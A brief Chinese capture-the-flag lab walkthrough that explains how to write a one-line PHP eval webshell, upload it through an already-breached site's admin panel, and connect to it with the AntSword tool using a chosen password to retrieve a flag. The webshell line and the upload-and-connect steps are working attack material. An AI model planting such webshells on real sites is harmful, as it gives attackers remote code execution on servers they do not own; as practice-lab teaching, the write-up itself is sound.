RDCTF shizhan1（靶机）
在已经登录后台的网站（靶机）上，上传含有小木马的文件，即安插卧底
-
先编写一个含有木马的文件，可以用文本文档编写，之后将后缀名改为.php
木马内容：<?php @eval($_POST['11']);?>
其中，11就相当于与卧底的接头暗号，可以任意更改，但是要记得，一会儿还有用。 -
根据上一篇文章成功进入后台后，将小木马文件上传进网站，
-
（注意：要将木马文件放入你能找得到的地方。）
-
-
之后找到木马文件并下载。
（注意：要去前端找小木马的文件）单击下载了之后会显示一片空白，就将空白的页面的网址复制
-
打开蚁剑
-
右键添加数据，将网址粘贴上去，那个连接密码就是之前设置的密码。输入完成后就可以去找flag了
-